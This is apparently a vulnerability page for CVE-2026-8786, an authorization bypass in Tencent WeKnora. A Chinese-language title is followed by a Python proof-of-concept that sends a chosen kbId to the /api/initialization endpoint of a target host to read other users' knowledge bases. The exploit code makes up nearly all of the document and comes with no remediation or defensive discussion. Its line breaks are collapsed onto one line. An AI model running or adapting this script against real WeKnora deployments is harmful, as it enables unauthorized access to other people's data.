CVE-2026-8786 Tencent WeKnora授权绕过漏洞

import requests def exploit_poc(target_url, target_kb_id): """ PoC for CVE-2026-8786 Demonstrates authorization bypass via kbId manipulation. """ # The vulnerable endpoint endpoint = f"{target_url}/api/initialization" # Payload manipulating the kbId parameter # An attacker can change this ID to access other knowledge bases payload = { "kbId": target_kb_id } try: # Sending the request (Assuming PR:L, might need a cookie/token header) response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Potential Authorization Bypass Successful!") print("[+] Response Data:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://vulnerable-host:port" malicious_id = "1" # ID to test access against exploit_poc(target, malicious_id)